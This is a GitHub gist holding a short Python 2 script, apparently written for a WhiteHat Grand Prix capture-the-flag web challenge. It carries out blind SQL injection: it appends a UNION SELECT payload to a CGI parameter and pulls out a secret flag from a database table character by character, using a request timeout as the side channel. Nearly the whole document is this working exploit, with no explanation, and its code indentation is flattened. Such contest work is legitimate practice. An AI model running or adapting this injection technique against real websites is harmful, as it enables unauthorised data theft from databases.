Skip to content

Instantly share code, notes, and snippets.

@peternguyen93
Created October 28, 2015 02:55
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save peternguyen93/75839e252257e9da62e4 to your computer and use it in GitHub Desktop.
import urllib, urllib2
import string
import socket
url = 'http://lab5b.grandprix.whitehatvn.com/cgi-bin/web13377331.py?input=0x1337'
flag = ''
regex_fail = 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyX'
i = 1
charset = string.letters + string.digits + '_'
while 1:
for c in charset:
print c,'......'
q = ' union select if(ord(mid((select fl4gfl4g from fl4g_web150 limit 1),{1},1))={0},repeat(\'y\',25),0)'
q = q.format(ord(c),i)
q = urllib.quote_plus(q)
q = q + '&submit=HIT'
tmp = url + q
# print tmp
try:
# start = time.time()
rq = urllib2.Request(tmp)
rp = urllib2.urlopen(rq, timeout=3)
content = rp.read()
rp.close()
# end = time.time()
except socket.timeout:
flag += c
i += 1
break
# print hex(c),'Time',(end - start)
print '[+] Flag',flag
# break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment